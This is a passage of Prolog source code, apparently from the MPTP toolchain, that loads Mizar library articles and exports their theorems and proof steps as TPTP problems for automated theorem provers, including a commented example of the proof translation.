[At1|Descs]),\n\t\t      fof_level(L1, Id),\n\t\t      clause(fof(Name,_,_,_,_),_,Id)), Names).\n\n%% get only this-level references for Lev from RefsIn\n%% the top-level included in RefsIn, which are not references of\n%% anything below are included too (should be useful e.g. fro definitional\n%% expansions done in this level) - note that some background adding might\n%% be needed after that.\n\n%% simplified version - we cannot rely on RefsIn, since\n%% lemmas with subproofs are not there\nget_thislevel_refs_simple(Lev, _, ThisLevelRefs, []) :-\n\tget_thislevel_names(Lev, ThisLevelNames),\n\tfindall(Ref,\n\t\t(\n\t\t  member(Ref,ThisLevelNames),\n\t\t  get_ref_fof(Ref,fof(Ref,_,_,_,Info)),\n\t\t  Info = [mptp_info(_,Lev,_,_,_),inference(_,_,_) |_]\n\t\t),\n\t       ThisLevelRefs).\n\n%% better (standard) version - takes ThesisExpansions into account\nget_thislevel_refs(Lev, RefsIn, ThisLevelRefs, SuperLevelRefs):-\n\tget_thislevel_names(Lev, ThisLevelNames),\n\t%% select only justified, collect their references\n\tfindall([Ref,Refs],\n\t\t(\n\t\t  member(Ref,ThisLevelNames),\n\t\t  get_ref_fof(Ref,fof(Ref,_,_,_,Info)),\n\t\t  Info = [mptp_info(_,Lev,_,_,_),inference(_,_,Refs)|_]\n\t\t),\n\t       RefRefs),\n\tzip(ThisLevelRefs,ThisRefRefsLists,RefRefs),\n\tflatten(ThisRefRefsLists,ThisRefRefs1),\n\tsort(ThisRefRefs1,ThisRefRefs),\n\tget_superlevel_refs(Lev,RefsIn,SuperLevelRefs1),\n\t%% remove all superlevel refs used inside ThisLevelRefs - a bit heuristical\n\tsubtract(SuperLevelRefs1,ThisRefRefs,SuperLevelRefs).\n\n\n\n%% get all (also proof-local) symbols used in this proof, and all\n%% formula names in the proof. the proof\n%% is described by the explicit references and the proof level.\n%% Symbols from the references and from all formulas on this level\n%% and below are collected.\n%% used as input for the fixpoint algorithm\n%% NOTE: proof-local symbols cannot be filtered-out here. E.g.\n%%   if we filtered-out a locally reconsidered constant, whose\n%%   original is outside this proof, we would never reach the original\n%%   in the fixpoint algorithm. So we have to pass all symbols to\n%%   the fixpoint algorithm, and filter the proof-local flas afterwards.\nget_proof_syms_and_flas(RefsIn, PLevel, PSyms, PRefs):-\n\tget_sublevel_names(PLevel, Names),\n\tappend(RefsIn, Names, AllNames),\n\tsort(AllNames, PRefs),!,\n\tmaplist(get_ref_fla, PRefs, Flas1),\n\tcollect_symbols_top(Flas1, PSyms).\n\n%% Create the abs_name table for all local references and constants\n%% by checking if their name ends with _Article or not.\n%% If not, __Article is appended.\n%% Local constants are done by their type declaration - so\n%% ##REQUIRE: Local constants always have their type declaration (even if trivial).\n%% ##TEST: generate problems for some articles with absolute_locals:- fail., then\n%%         generate with absolute_locals, then check with low timelimit that the results\n%%         of E prover are the same.\nabsolutize_locals(Article):-\n\tabolish(abs_name/2),\n\tdynamic(abs_name/2),\n\tatom_concat('_',Article,ArticleSuffix),\n\tatom_concat('__',Article,ArticleSuffix1),!,\n\trepeat,\n\t(\n\t  fof_file(Article,Id),\n\t  %% ##NOTE: indexing fof_name on second param makes things very slow,\n\t  %% hence use clause/3 instead of fof_name/2 here\n\t  clause( fof(Ref,_,_,_,_),_,Id),\n\t  (\n\t    atom_concat(_,ArticleSuffix,Ref) -> true\n\t  ;\n\t    atom_concat(Ref,ArticleSuffix1,AbsName),\n\t    assert(abs_name(Ref,AbsName)),\n\t    %% register local constants from their types\n\t    (\n\t      atom_concat('dt_c',Rest,Ref) ->\n\t      atom_concat(c,Rest,Constant),\n\t      atom_concat(Constant,ArticleSuffix1,ConstantAbsName),\n\t      assert(abs_name(Constant,ConstantAbsName))\n\t    ;\n\t      true\n\t    )\n\t  ),\n\t  fail\n\t;\n\t  true\n\t).\n\n%%%%%%%%%%%%%%%%%%%% Problem creation %%%%%%%%%%%%%%%%%%%%\n/*\n  Master plan for the TSTP export and ATP cross-verification\n  of large proofs:\n\n Example:\n  for X1 being T1 st P1(X1) holds\n  for X2 being T2 of X1 ex X3 being T3 of X1 st P3(X3,X2)\nproof\n  let c1 be T1;\n  assume A1: P1(c1);\n  let c2 be T2 of c1;\n  A2: Q1(c1,c2) by Th1;\n  reconsider c3 = F1(c1,c2) as T4 of c1 by A2;\n  consider c4 being T5 of c3 by Def1;\n  A3: Q2(c4) by Th2;\n  A4: Q3(c4) by A1,A3, Th3;\n  reconsider c5 = c4 as T3 of c1 by A4;\n  take c5;\n  A5: for X4 being T6 of c1,c2 holds Q4(X4,c5)\n  proof\n    let c6 be T6 of c1,c2;\n    A6: Q5(c6, c5) by Th4;\n    thus A7: Q4(c6,c5) by A4,A6, Th5;\n  end;\n  thus A8: P3(c5,c2) by A5,Th6;\nend;\n\ntranslation:\nproof\n  fof(dc_c1,henkin_ax1, (sort(c1,t1) => (p1(c1) => ![X2:t2(c1)]:(?[X3:t3(c1)]:p3(X3,X2))) =>\n                        (![X1:t1]:(p1(X1) => ![X2:t2(X1)]:(?[X3:t3(X1)]:p3(X3,X2))))).\n\n  fof(dt_c1,assumption, sort(t1,c1)).\n  fof(a1, assumption, p1(c1)).\n  for(dc_c2,henkin_ax2, (ex X3 being T3 of c1 st P3(X3,c2)) =>\n                        (![X2:t2(c1)]:(?[X3:t3(c1)]:p3(X3,X2)))).\n  fof(a2,lemma, q1(c1,c2), th1).\n  fof(e1,lemma, sort(f1(c1,c2),t4(c1)), a2).\n  fof(dc_c3,def, c3 = f1(c1,c2)).\n  fof(e2,lemma, ?([X], sort(X,t5(c3))), def1).\n  for(dc_c4,henkin_ax4, ?([X], sort(X,t5(c3))) => sort(c4,t5(c3))).\n  fof(dt_c4,lemma,sort(c4,t5(c3)),e2,dc_c4).\n  fof(a3,lemma, q2(c4), th2).\n  fof(a4,lemma, q3(c4), a1,a3,th3).\n  fof(e3,lemma, sort(c4,t3(c1)), a4).\n  fof(dc_c5,def, c5 = c4).\n  take ... just changing thesis\n  fof(a5, (![X4:t6(c1,c2)]: q4(X4,c5)), proof(1)).\n  proof\n    fof(dc_c6,henkin_ax6, q4(c6,c5) => (![X4:t6(c1,c2)]: q4(X4,c5))).\n    fof(a6,lemma, q5(c6,c5), th4).\n    fof(a7,lemma, q4(c6,c5), a4,a6).\n    ... now eliminating the const:\n    fof(a5, (![X4:t6(c1,c2)]: q4(X4,c5)), dc_c6,a7).\n  end;\n  fof(a8, p3(c5,c2), a5,th6).\n  ... now justifing the subsequent theses bottom-up:\n  fof(r_take, ?[X3:t3(c1)]:p3(X3,c2), e3,a8).\n  fof(r_dc_c2, ![X2:t2(c1)]:(?[X3:t3(c1)]:p3(X3,X2)), r_take, dc_c2).\n  fof(r_a1, p1(c1) => ![X2:t2(c1)]:(?[X3:t3(c1)]:p3(X3,X2)), discharge(a1), r_dc_c2).\n  fof(r_dt_c1, sort(c1,t1) => (p1(c1) => ![X2:t2(c1)]:(?[X3:t3(c1)]:p3(X3,X2))), discharge(dt_c1), r_a1).\n  fof(r_dc_c1, ![X1:t1]:(p1(X1) => ![X2:t2(X1)]:(?[X3:t3(X1)]:p3(X3,X2))), r_dt_c1, dc_c1).\nend;\n\ninference DAG:\n  axioms:    th2 th3 th4 dc_c6 th6  dc_c2   dc_c1 def1 dc_c4 dc_c3 dc_c5 dc_c6\n              |   |   /   /     /      /      /    |     /\n      ass:a1  a3 /  a6   /     /      /      /     e2   /\n            \\ | /  /    /     /      /      /        \\ /\n              a4  /    /     /      /      /        dt_c4\n              | \\/    /     /      /      /\n             e3 a7   /     /      /      /\n              \\   \\ /     /      /      /\n               \\  a5     /      /      /\n                \\   \\   /      /      /\n                 \\   a8       /      /\n                  \\   |      /      /\n                   r_take   /      /\n                         \\ /      /\n                       r_dc_c2   /\n                          |     /\n              disch(a1): r_a1  /\n                          |   /\n                        r_dc_c1\n\n*/\n\n%% get_smaller_includes(+Article, +AllIncludes, -SmallerIncludes)\n%%\n%% Select into SmallerIncludes all articles from AllIncludes\n%% smaller than Article, sort them by MML order.\nget_smaller_includes(Article, AllIncludes, SmallerIncludes):-\n\tsublist(cmp_articles_in_mml_order(>, Article), AllIncludes, SmallerIncludes0),\n\tsort_articles_in_mml_order(SmallerIncludes0, [], SmallerIncludes).\n\n%% needed_environ(+Article, +AddedNonMML, -Articles)\n%%\n%% AddedNonMML (usually empty list) can be used to pass extra nonMML\n%% articles that will be appended to MML in that order for numbering.\nneeded_environ(Article, AddedNonMML, Articles):-\n\ttheory(Article, Theory),\n\tmember(constructors(Constrs),Theory),\n\tmember(registrations(Regs),Theory),\n\tmember(requirements(Reqs),Theory),\n\tmember(definitions(Defs),Theory),\n\tmember(theorems(Thms),Theory),\n\tmember(schemes(Schms),Theory),\n\tunion1([Constrs,Regs,Reqs,Defs,Thms,Schms],[],Articles0),\n\tsort_articles_in_mml_order(Articles0, AddedNonMML, Articles).\n\n%% ##TEST: :- first100(L),print_env_deps(mml1,L).\n%% ##TEST: :- print_env_deps(mmldeps).\n%%\nprint_env_deps(File):-\n\tall_articles(L),!,\n\tprint_env_deps(File,L).\n\n% print_env_deps(+File,+Articles)\n%\n% Print the environmental dependencies of Atricles into a File in the dot notation\nprint_env_deps(File,Articles):-\n\tdeclare_mptp_predicates,\n\tload_mml,\n\tinstall_index,\n\ttell(File),\n\twrite('strict digraph mml {'),\n\tnl,!,\n\t(\n\t member(A,Articles),\n\t needed_environ(A,[],As),\n\t once(findall(d,(member(R1,As),write(R1),format(\" -> \"),write(A),format(\";\"),nl),_)),\n\t fail\n\t;\n\t write('}'),\n\t nl,\n\t told\n\t).\n\n\n\n%% ensure that fraenkels are abstracted in all prerequisities\n%% of Article (changes the fraenkels_loaded/1 predicate).\n%% calling install_index after this is a good idea\nabstract_prereq_fraenkels(Article, Options):-\n\t(member(opt_ADDED_NON_MML(AddedNonMML),Options) ->\n\t    Added = AddedNonMML\n\t;\n\t    Added = []\n\t),\n\tneeded_environ(Article, Added, Prereqs),\n\tchecklist(abstract_fraenkels_if, Prereqs).\n\n%% should be used only right after loading a full article File\n%% current usage is for determining clusters' area of validity in fixpoint\ninstall_article_positions(File):-\n\tabolish(article_position/2),\n\tdynamic(article_position/2),\n\tflag(a_pos,_,0),\n\trepeat,\n\t(\n\t  fof(Ref1,_,_,file(File,_),_),\n\t  flag(a_pos, APos, APos + 1),\n\t  assert(article_position(Ref1, APos)),\n\t  fail\n\t;\n\t  true\n\t),!.\n\n%% load_proper_article(+Article,+Options,-PostLoadFiles)\n%%\n%% Load all article reasoning parts, create the MPTP-added stuff\n%% like fraenkel defs, etc., prepare the problem directory and return\n%% it, and return list of files that will have to be reloaded,\n%% after retractall(fof(_,_,_,file(Article,_),_)), is run after\n%% the main processing.\nload_proper_article(Article,Options,PostLoadFiles):-\n\t(\n\t  member(opt_NON_MML_DIR(NonMMLDir),Options) ->\n\t  Dir = NonMMLDir\n\t;\n\t  mml_dir_atom(Dir)\n\t),\n\tconcat_atom([Dir, Article, '.xml2'],File),\n\tconcat_atom([Dir, Article, '.dcl2'],DCL),\n\tconcat_atom([Dir, Article, '.dco2'],DCO),\n\tconcat_atom([Dir, Article, '.the2'],THE),\n\tconcat_atom([Dir, Article, '.sch2'],SCH),\n\tconcat_atom([Dir, Article, '.err2'],ERR),\n\tretractall(miz_errors(_)),\n\t(\n\t  member(opt_LOAD_MIZ_ERRORS,Options) ->\n\t  sublist(exists_file,[ERR],ERR1),\n\t  load_files(ERR1,[silent(true)])\n\t;\n\t  true\n\t),\n\t%% remove the ovelapping mml parts first\n\tretractall(fof(_,_,_,file(Article,_),_)),\n\tretractall(fraenkels_loaded(Article)),\n\t%% ###TODO: this willbe no longer needed as the dco is in xml\n\tsublist(exists_file,[DCO],ToLoad1),\n\tload_files(ToLoad1,[silent(true)]),\n\tconsult(File),\n\tassert_arith_evals(_),\n\tassert_arith_reqs(_),\n\tinstall_article_positions(Article),\n\tinstall_index,\n\tonce(assert_sch_instances(Article,Options)),\n\tinstall_index,\n\tabstract_fraenkels(Article, [], _, _),\n\tabstract_prereq_fraenkels(Article, Options),\n\tinstall_index,\n\t(\n\t  member(opt_DBG_LEVS_POS,Options) ->\n\t  findall([FL1,RefL1,PosR1],\n\t\t  (\n\t\t    fof_level(FL1,IdL1),\n\t\t    clause(fof(RefL1,_,_,_,_),_,IdL1),\n\t\t    article_position(RefL1,PosR1)\n\t\t  ),\n\t\t  FLevs),\n\t  print(FLevs)\n\t;\n\t  true\n\t),\n\tsublist(exists_file,[DCL,DCO,THE,SCH],PostLoadFiles).\n\n%% prepare_for_article(+Article,+Options,-Dir,-PostLoadFiles)\n%%\n%% Load all article reasoning parts, create the MPTP-added stuff\n%% like fraenkel defs, etc., prepare the problem directory and return\n%% it, and return list of files that will have to be reloaded,\n%% after retractall(fof(_,_,_,file(Article,_),_)), is run after\n%% the main processing.\nprepare_for_article(Article,Options,Dir,PostLoadFiles):-\n\tload_proper_article(Article,Options,PostLoadFiles),\n\t(\n\t  member(opt_NON_MML_DIR(NonMMLDir),Options) ->\n\t  concat_atom([NonMMLDir,'/problems/',Article,'/'],Dir)\n\t;\n\t  concat_atom(['problems/',Article,'/'],Dir)\n\t),\n\t(exists_directory(Dir) -> (string_concat('rm -r -f ', Dir, Command),\n\t\t\t\t      shell(Command)); true),\n\tmake_directory(Dir).\n\n%% make nd problems for an Article\n%% generating problems for all MPTP Challenge articles:\n%% ##TEST: :- declare_mptp_predicates,load_mml,install_index,\n%%            L=[ compts_1, connsp_2, enumset1, filter_1, finset_1, funct_1, funct_2,\n%%\t\tlattice3, lattices, mcart_1, orders_2, ordinal1, pre_topc, relat_1,\n%%\t\trelset_1, setfam_1, subset_1, tex_2, tmap_1, tops_1, tops_2, waybel_0,\n%%\t\twaybel_7, waybel_9, wellord1, wellord2, xboole_0, xboole_1, yellow_0,\n%%\t\tyellow_1, yellow19, yellow_6, zfmisc_1], member(A,L),\n%%            mk_article_nd_problems(A,_,[opt_REM_SCH_CONSTS,opt_MK_TPTP_INF, opt_ADD_INTEREST]),fail.\n%%\n%% generate GDV derivations for 20 articles for CASC batch division:\n%% (first abstract all fraenkels, to keep them consistent):\n%% ##TEST:  declare_mptp_predicates, load_mml, install_index, all_articles(ArticleNames),\n%%          checklist(abstract_fraenkels_if, ArticleNames), install_index, !,\n%%          L=[autgroup,closure3,conlat_2,filter_2,isocat_2,latsubgr,latsum_1,lopclset,\n%%\t       relset_2,rmod_5,tsp_2,waybel22,waybel33,waybel34,yellow17,yoneda_1], member(A,L),\n%%\t    mk_article_nd_problems(A,_,[opt_REM_SCH_CONSTS,opt_MK_TPTP_INF, opt_ADD_INTEREST]),fail.\n%%\n%% generate GDV derivations for all articles:\n%% ##TEST: :- declare_mptp_predicates,load_mml,install_index,all_articles(L),!, member(A,L),\n%%            mk_article_nd_problems(A,_,[opt_REM_SCH_CONSTS,opt_MK_TPTP_INF, opt_ADD_INTEREST]),fail.\nmk_article_nd_problems(Article,_Kinds,Options):-\n\tprepare_for_article(Article,Options,Dir,PostLoadFiles),\n\tassert_henkin_axioms(Article,[]),\n\tinstall_index,\n\t%% create the table of local-to-global names if absolute_locals\n\t(absolute_locals -> absolutize_locals(Article); true),\n\n\trepeat,(mk_nd_problem(_,Article,Dir,Options),fail; !,true),\n\tretractall(fof(_,_,_,file(Article,_),_)),\n\tload_files(PostLoadFiles,[silent(true)]).\n\n\n%% Kinds is a list [InferenceKinds, PropositionKinds | Rest]\n%% possible InferenceKinds are now [mizar_by, mizar_from, mizar_proof]\n%% possible PropositionKinds are now [theorem, scheme,cluster,fcluster,ccluster,rcluster,top_level_lemma, sublemma]\n%% Rest is a list now only possibly containing snow_spec, problem_list and subproblem_list.\n%%\n%% The fraenkeldef creation for the loaded MML is done on demand,\n%% by looking at article's theory, and remembering which fraenkels\n%% are done at a special predicate fraenkels_loaded/1.\nmk_article_problems(Article,Kinds,Options):-\n\tprepare_for_article(Article,Options,Dir,PostLoadFiles),\n\t%% create the table of local-to-global names if absolute_locals\n\t(absolute_locals -> absolutize_locals(Article); true),\n\t(member(opt_ARTICLE_AS_TPTP_AXS,Options) ->\n\t article2tptp_include(Dir,Article)\n\t;\n\t true\n\t),\n\n\t%% now take care of possible subproblem_list option -\n\t%% create a problem_list from all local mizar_proof references which have the inference slot;\n\t%% to get all lemmas, we cannot rely on the inference slot, since it only\n\t%% contains those proved by simple justification!\n\t(\n\t  member(subproblem_list(PList), Kinds) ->\n\t  findall(Ref,\n\t\t  (\n\t\t    member(R1,PList),\n\t\t    get_ref_fof(R1,fof(R1,_,_,_,[_,inference(mizar_proof,InferInfo,_) |_])),\n\t\t    member(proof_level(Lev), InferInfo),\n\t\t    get_sublevel_proved_names(Lev,LRefs),\n\t\t    member(Ref, LRefs)\n\t\t  ),\n\t\t  AllRefs),\n\t  append(PList, AllRefs, AllProbs1),\n\t  sort(AllProbs1, AllProbs),\n\t  append(Kinds,[problem_list(AllProbs)],Kinds1)\n\t;\n\t  Kinds1 = Kinds\n\t),\n\n\t%% expand cluster into fcluster,ccluster,rcluster\n\tKinds1 = [InferenceKinds,PropositionKinds|Rest],\n\t(member(cluster,PropositionKinds) ->\n\t    delete(PropositionKinds,cluster,PKinds1),\n\t    union([fcluster,ccluster,rcluster],PKinds1,PKinds2),\n\t    Kinds2 = [InferenceKinds,PKinds2|Rest]\n\t;\n\t    Kinds2 = Kinds1\n\t),\n\n\trepeat,(mk_problem(_,Article,Dir,Kinds2,Options),fail; !,true),\n\n\t%% retract current file but return mml parts,\n\tretractall(fof(_,_,_,file(Article,_),_)),\n\tload_files(PostLoadFiles,[silent(true)]).\n\t%% abstracting here would not work, since the index is broken\n\t%% at this moment\n%\tabstract_fraenkels(Article, [], _, _),\n%\tassert(fraenkels_loaded(Article)).\n\n\n%% create proving problem for a given proposition,\n%% (P does not have to be instantiated), store it in file Prefix.P\n%% propositions only from the current article can be loaded -\n%% - otherwise change their naming\n%% mk_problem(?P,+F,+Prefix,+Kinds,+Options)\n%% possible InferenceKinds are now [mizar_by, mizar_proof, mizar_from]\n%% possible PropositionKinds are now: [theorem,scheme,fcluster,ccluster,rcluster,\n%% top_level_lemma, sublemma] (not that just cluster is not allowed here - has to be expanded above).\n%% Rest is now checked for containing snow_refs and problem_list([...]).\n%% The snow_spec of P have to be available in predicate\n%% snow_spec(P,Refs) and they are used instead of the Mizar refs,\n%% and InfKind is set to mizar_by. The problem_list([...]) is used for limiting\n%% the problems generated (P must be member of it).\n%% see opt_available/1 for Options.\n%% ###TODO: currently does not handle reconsidered const's type proof, since\n%%          the item_kind is not proposition (but constant)\n%%          also note that fixpoint is hardly needed for that inference\nmk_problem(P,F,Prefix,[InferenceKinds,PropositionKinds|Rest],Options):-\n\tmk_problem_data(P,F,Prefix,[InferenceKinds,PropositionKinds|Rest],\n\t\t\tOptions, Outfile,Line,Col,AllRefs),\n\tprint_problem(P,F,[InferenceKinds,PropositionKinds|Rest],\n\t\t      Options, Outfile,Line,Col,AllRefs).\n\n%% mk_problem_data(?P,+F,+Prefix,+[InferenceKinds,PropositionKinds|Rest],+Options,\n%%\t\t   -Outfile,-Line,-Col,-AllRefs)\n%%\n%% internal version for mk_problem, useful if the explicit reference list is needed\nmk_problem_data(P,F,Prefix,[InferenceKinds,PropositionKinds|Rest],Options,\n\t\tOutfile,Line,Col,AllRefs):-\n\ttheory(F, _Theory),\n\tmember(InfKind0,InferenceKinds),\n\tmember(PropKind,PropositionKinds),\n\t(\n\t  member(PropKind,[theorem,scheme,fcluster,ccluster,rcluster]),\n\t  MPropKind = PropKind\n\t;\n\t  not(member(PropKind,[theorem,scheme,fcluster,ccluster,rcluster])),\n\t  MPropKind = proposition,\n\t  (\n\t    PropKind = top_level_lemma,\n\t    Lev = []\n\t  ;\n\t    PropKind \\= top_level_lemma\n\t  )\n\t),\n\tfof(P,_,_Fla,file(F,_),[mptp_info(_Nr,Lev,MPropKind,position(Line0,Col0),Item_Info)\n\t\t\t       |Rest_of_info]),\n\n\t(member(MPropKind,[fcluster,ccluster,rcluster]) ->\n\t    ensure(Item_Info = [proof_level(_), Justification |_], cluster(Item_Info)),\n\t    (Justification = correctness_conditions([Correctness_Proposition1|_]) ->\n\t\tCorrectness_Proposition1 =.. [_Correctness_Condition_Name1, Corr_Proposition_Ref1],\n\t\tfof(Corr_Proposition_Ref1,_,_CPFla,file(F,Corr_Proposition_Ref1),\n\t\t    [_CP_Mptp_info, Inference_info|_])\n\t    ;\n\t\t%% forged inference for \"strict\" rcluster justified by the aggregate type\n\t\tensure(Justification = inference(mizar_by,_,_), cluster(Justification)),\n\t\tInference_info = Justification\n\t    )\n\t;\n\t    Rest_of_info = [Inference_info|_]\n\t),\n\n\n\t(\n\t  member(snow_spec, Rest) ->\n\t  snow_spec(P, Refs0),\n\t  InfKind = mizar_by,\n\t  Line = Line0,\n\t  Col = Col0\n\t;\n\t  Inference_info = inference(InfKind0,InfInfo,Refs0),\n\t  InfKind = InfKind0,\n\t  %% inference's position can differ from proposition's\n\t  (\n\t    member(position(Line,Col), InfInfo) -> true\n\t  ;\n\t    Line = Line0,\n\t    Col = Col0\n\t  )\n\t),\n\n\t%% filter if problem_list given (problem names or positions like pos(78,22))\n\t(\n\t  member(problem_list(PList), Rest) ->\n\t  (\n\t    member(P,PList) -> true\n\t  ;\n\t    member(pos(Line,Col), PList)\n\t  )\n\t;\n\t  true\n\t),\n\n\t(\n\t  member(opt_LINE_COL_NMS, Options) ->\n\t  concat_atom([Prefix,F,'__',Line,'_',Col],Outfile)\n\t;\n\t  (abs_name(P,AbsP) -> true; AbsP = P),\n\t  (\n\t    member(opt_CONJECTURE_NMS, Options) ->\n\t    concat_atom([Prefix,AbsP],Outfile)\n\t  ;\n\t    concat_atom([Prefix,F,'__',P],Outfile)\n\t  )\n\t),\n\t% fof_name(P, Id1),\n\t%% this is used to limit clusters to preceding clauses from the nitial file;\n\t%% note that using the ordering of clauses in the initial file\n\t%% can be quite fragile (e.g. adding of frankels and scheme instances,...)\n\t%% OK, this is done safely now with article_position, nth_clause/3 was very slow\n\tensure(article_position(P,Pos1), throw(article_position1(P))),\n\t(\n\t  member(opt_NO_EX_BG_FLAS, Options) ->\n\t  InfKind1 = mizar_no_existence\n\t;\n\t  InfKind1 = InfKind\n\t),\n%\tfilter_level_refs(Lev,Refs0,Refs),\n\n\t(\n\t  member(opt_ALLOWED_REF_INFO, Options) ->\n\t  get_preceding_article_refs(F, P, AllowedLocalRefs),\n\t  concat_atom([Outfile,'.allowed_local'], AllowLocalSpecFile),\n\t  tell(AllowLocalSpecFile),\n\t  print(allowed_local(P,AllowedLocalRefs)),\n\t  write('.'),nl,\n\t  told\n\t;\n\t  true\n\t),\n\n\t(\n\t  member(opt_PROVED_BY_INFO, Options) ->\n\t  filter_for_proved_by(F, P, Lev, MPropKind, InfKind, Refs0, ProvedByRefs),\n\t  concat_atom([Outfile,'.proved_by0'], ProvedByFile),\n\t  tell(ProvedByFile),\n\t  print(proved_by(P,ProvedByRefs)),\n\t  write('.'),nl,\n\t  told\n\t;\n\t  true\n\t),\n\n\t%% Compute references into AllRefs.\n\t%% This gets a bit tricky for cluster registrations - we need the original\n\t%% formula (P), but use the PLevel for collecting the refs, and finally filter\n\t%% using the original cluster's level (Lev).\n\t(\n\t  InfKind == mizar_proof,\n\t  ensure(member(proof_level(PLevel), InfInfo), inf_info(InfInfo,PLevel)),\n\t  (member(opt_LEVEL_REF_INFO, Options) ->\n\t      get_thislevel_refs(PLevel, Refs0, ThisLevelRefs, SuperLevelRefs),\n\t      concat_atom([Outfile,'.refspec'], RefSpecFile),\n\t      tell(RefSpecFile),\n\t      print(refspec(P,ThisLevelRefs,SuperLevelRefs)),\n\t      write('.'),nl,\n\t      told\n\t  ;\n\t      true\n\t  ),\n\t  get_proof_syms_and_flas([P|Refs0], PLevel, PSyms, PRefs),\n\t  dbg(dbg_LEVEL_REFS, format('Refs for ~w bef. filtering: ~w~n', [P,PRefs])),\n\t  Syms1 = PSyms,\n\t  once(fixpoint(F, [Pos1, Lev], InfKind1, PRefs, [], Syms1, AllRefs0)),\n\t  dbg(dbg_LEVEL_REFS, format('Refs for ~w after fixpoint: ~w~n', [P,AllRefs0])),\n\t  %% incorrect, but needs handling of fraenkels and sch_insts\n\t  filter_level_refs(Lev,AllRefs0,AllRefs),\n\t  dbg(dbg_LEVEL_REFS, format('Refs for ~w after level filtering: ~w~n', [P,AllRefs]))\n\t;\n\t  InfKind \\== mizar_proof,\n\t  Refs = Refs0,\n\t  maplist(get_ref_fla, [P|Refs], Flas1),\n\t  collect_symbols_top(Flas1, Syms0),\n\t  Syms1 = Syms0,\n\t  %% ###TODO: for reconsidered type, following is enough instead of fixpoint\n%\t  AllRefs1 = [P|Refs]\n\t  once(fixpoint(F, [Pos1, Lev], InfKind1, [P|Refs], [], Syms1, AllRefs1)),\n\t  %% if we used the correctness proposition for computing references of cluster\n\t  %% registrations, we have to filter using the cluster's level\n\t  (member(MPropKind,[fcluster,ccluster,rcluster]) ->\n\t      filter_level_refs(Lev,AllRefs1,AllRefs)\n\t  ;\n\t      AllRefs = AllRefs1\n\t  )\n\t).\n\n\n%% print_problem(+ProblemName,+Article,[+InferenceKinds,+PropositionKinds|+Rest],+Options,\n%%               +Outfile,+Line,+Column,+AllRefs)\n%%\n%% Print problem ProblemName into OutFile, doing sort transformation.\nprint_problem(P,F,[_InferenceKinds,_PropositionKinds|Rest],Options,\n\t      Outfile,Line,Col,AllRefs):-\n\t(member(opt_PRINT_PROB_PROGRESS,Options) ->\n\t    format('% Mizar problem: ~w,~w,~w,~w ~n', [P,F,Line,Col])\n\t;\n\t    true\n\t),\n\ttell(Outfile),\n\tformat('% Mizar problem: ~w,~w,~w,~w ~n', [P,F,Line,Col]),\n\t(member(snow_spec, Rest) ->\n\t    format('% Using references advised by SNoW ~n', [])\n\t;\n\t    true\n\t),\n\t(member(opt_PROB_PRINT_FUNC(Print_Func),Options) ->\n\t    call(Print_Func, P, AllRefs, Options)\n\t;\n\t    print_refs(P, AllRefs, Options)\n\t),\n\ttold.\n\n\nprint_ref_as_axiom(Options, Q):-\n\tget_ref_fof(Q, fof(Q,_Q1,Q2,Q3,Q4)),\n\tsort_transform_top(Q2,SR2),\n\tnumbervars([SR2,Q3,Q4],0,_),\n\tStatus = axiom, QQ3 = Q3, QQ4= [],\n\t(member(opt_TPTP_SHORT,Options) ->\n\t    print(fof(Q,Status,SR2))\n\t;\n\t    (member(opt_MK_TPTP_INF,Options) ->\n\t\tprint(fof(Q,Status,SR2,QQ3,QQ4))\n\t    ;\n\t\tprint(fof(Q,Status,SR2,Q3,Q4))\n\t    )\n\t),\n\twrite('.'),\n\tnl.\n\nprint_ref_as_conjecture(Options, ProperRefs1, Q):-\n\tget_ref_fof(Q, fof(Q,_Q1,Q2,Q3,Q4)),\n\tsort_transform_top(Q2,SR2),\n\tnumbervars([SR2,Q3,Q4],0,_),\n\tStatus = conjecture,\n\tQQ3 = inference(mizar_bg_added,[status(thm)],ProperRefs1),\n\tQQ4 = [Q3],\n\t(member(opt_TPTP_SHORT,Options) ->\n\t    print(fof(Q,Status,SR2))\n\t;\n\t    (member(opt_MK_TPTP_INF,Options) ->\n\t\tprint(fof(Q,Status,SR2,QQ3,QQ4))\n\t    ;\n\t\tprint(fof(Q,Status,SR2,Q3,Q4))\n\t    )\n\t),\n\twrite('.'),\n\tnl.\n\nprint_refs(Conjecture, AllRefs, Options):-\n\tdelete(AllRefs, Conjecture, ProperRefs1),\n\tprint_ref_as_conjecture(Options, ProperRefs1, Conjecture),\n\tchecklist(print_ref_as_axiom(Options), ProperRefs1).\n\nget_transformed_fla(Q,Fla):-\n\tget_ref_fof(Q, fof(Q,_Q1,Q2,Q3,Q4)),\n\tsort_transform_top(Q2,Fla),\n\tnumbervars([Fla,Q3,Q4],0,_).\n\n%% list2constr(+BinConstr, +Nil, +List , -Term)\n%%\n%% Replace cons and nil with BinConstr and Nil, creating Term.\nlist2constr(_BinConstr, Nil, [], Nil).\nlist2constr(BinConstr, Nil, [H|T],Res):-\n\tlist2constr(BinConstr, Nil, T, Tmp),\n\tRes =.. [BinConstr, H, Tmp].\n\n%% constr2list(+BinConstr, -Last, -List , +Term)\n%%\n%% While BinConstr, replace with cons creating List\n%% (having Last element).\n%% Order of params is compatible with list2constr.\nconstr2list(BinConstr, Last, [H,H1|T],Res):-\n\tRes =.. [BinConstr, H, Tmp],!,\n\tconstr2list(BinConstr, Last, [H1|T], Tmp).\nconstr2list(_BinConstr, T, [T], T):- !.\n\n% destruct also heads\nconstr2list2(BinConstr, Last, List,Res):-\n\tRes =.. [BinConstr, H, Tmp],!,\n\tconstr2list2(BinConstr, _, H0, H),\n\tconstr2list2(BinConstr, Last, List2, Tmp),\n\tappend(H0,List2,List).\nconstr2list2(_BinConstr, T, [T], T):- !.\n\n\nprint_refs_as_one_fla(Conjecture, AllRefs, _Options):-\n\tdelete(AllRefs, Conjecture, ProperRefs1),\n\tmaplist(get_transformed_fla, ProperRefs1, ProperRefs2),\n\tlist2constr(&, $true, ProperRefs2, AxiomsConjunction),\n\tQ = Conjecture,\n\tget_ref_fof(Q, fof(Q,_Q1,Q2,Q3,Q4)),\n\tsort_transform_top(Q2,SR2),\n\tnumbervars([SR2,Q3,Q4],0,_),\n\tprint(fof(Q,conjecture,(AxiomsConjunction => SR2),Q3)),\n\twrite('.'),\n\tnl.\n\n%% get_include_refs(+Refs, -IncludeRefs, -NonIncludeRefs, -IncludeFiles)\n%%\n%% Divide Refs into the standard ones contained in include files (see\n%% mml2tptp_includes/1 for them), and the rest. Make a list of\n%% include files for the includable ones.\n%% ##ASSUMES: that fraenkels are ok, and the only special formulas\n%%    are either scheme instances (starting with sNr) or requirements,\n%%    starting 